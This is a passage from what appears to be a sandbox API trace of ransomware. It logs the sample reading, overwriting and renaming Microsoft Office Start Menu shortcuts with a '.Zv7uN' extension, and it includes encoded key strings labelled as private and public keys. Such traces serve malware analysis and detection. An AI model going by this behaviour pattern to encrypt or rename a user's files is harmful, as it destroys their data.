menu\\programs\\microsoft office\\microsoft visio 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.977] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0xacf, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0xacf, lpOverlapped=0x0) returned 1 [0133.979] CloseHandle (hObject=0x1e8) returned 1 [0133.980] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft visio 2010.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft visio 2010.lnk.zv7un")) returned 1 [0133.981] GetCurrentThreadId () returned 0xa30 [0133.981] GetCurrentThreadId () returned 0xa30 [0133.981] GetCurrentThreadId () returned 0xa30 [0133.981] GetCurrentThreadId () returned 0xa30 [0133.981] GetCurrentThreadId () returned 0xa30 [0133.981] GetCurrentThreadId () returned 0xa30 [0133.981] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780aa830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780aa830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780aa830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbcd, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Word 2010.lnk", cAlternateFileName="MI109D~1.LNK")) returned 1 [0133.981] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.981] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.981] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft word 2010.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780aa830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780aa830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780aa830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbcd)) returned 1 [0133.982] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft word 2010.lnk")) returned 0x20 [0133.982] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk", dwFileAttributes=0x80) returned 1 [0133.984] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.984] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.985] GetCurrentThreadId () returned 0xa30 [0133.985] GetCurrentThreadId () returned 0xa30 [0133.985] GetCurrentThreadId () returned 0xa30 [0133.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.986] GetCurrentThreadId () returned 0xa30 [0133.986] GetCurrentThreadId () returned 0xa30 [0133.986] GetCurrentThreadId () returned 0xa30 [0133.986] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft word 2010.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.986] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.986] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.987] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xbcd [0133.987] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.987] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0xbcd, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0xbcd, lpOverlapped=0x0) returned 1 [0133.990] CloseHandle (hObject=0x1e8) returned 1 [0133.990] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft word 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.992] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0xbcd, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0xbcd, lpOverlapped=0x0) returned 1 [0133.995] CloseHandle (hObject=0x1e8) returned 1 [0133.995] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft word 2010.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft word 2010.lnk.zv7un")) returned 1 [0133.996] GetCurrentThreadId () returned 0xa30 [0133.996] GetCurrentThreadId () returned 0xa30 [0133.996] GetCurrentThreadId () returned 0xa30 [0133.996] GetCurrentThreadId () returned 0xa30 [0133.996] GetCurrentThreadId () returned 0xa30 [0133.996] GetCurrentThreadId () returned 0xa30 [0133.996] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780aa830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780aa830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780aa830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbcd, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Word 2010.lnk", cAlternateFileName="MI109D~1.LNK")) returned 0 [0133.996] GetLastError () returned 0x12 [0133.996] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0133.997] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6416ad60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x6416ad60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0133.997] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0133.997] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.997] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6416ad60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x6416ad60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0133.997] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.997] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.997] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780122b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780122b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63dd8c60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xb67, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Access 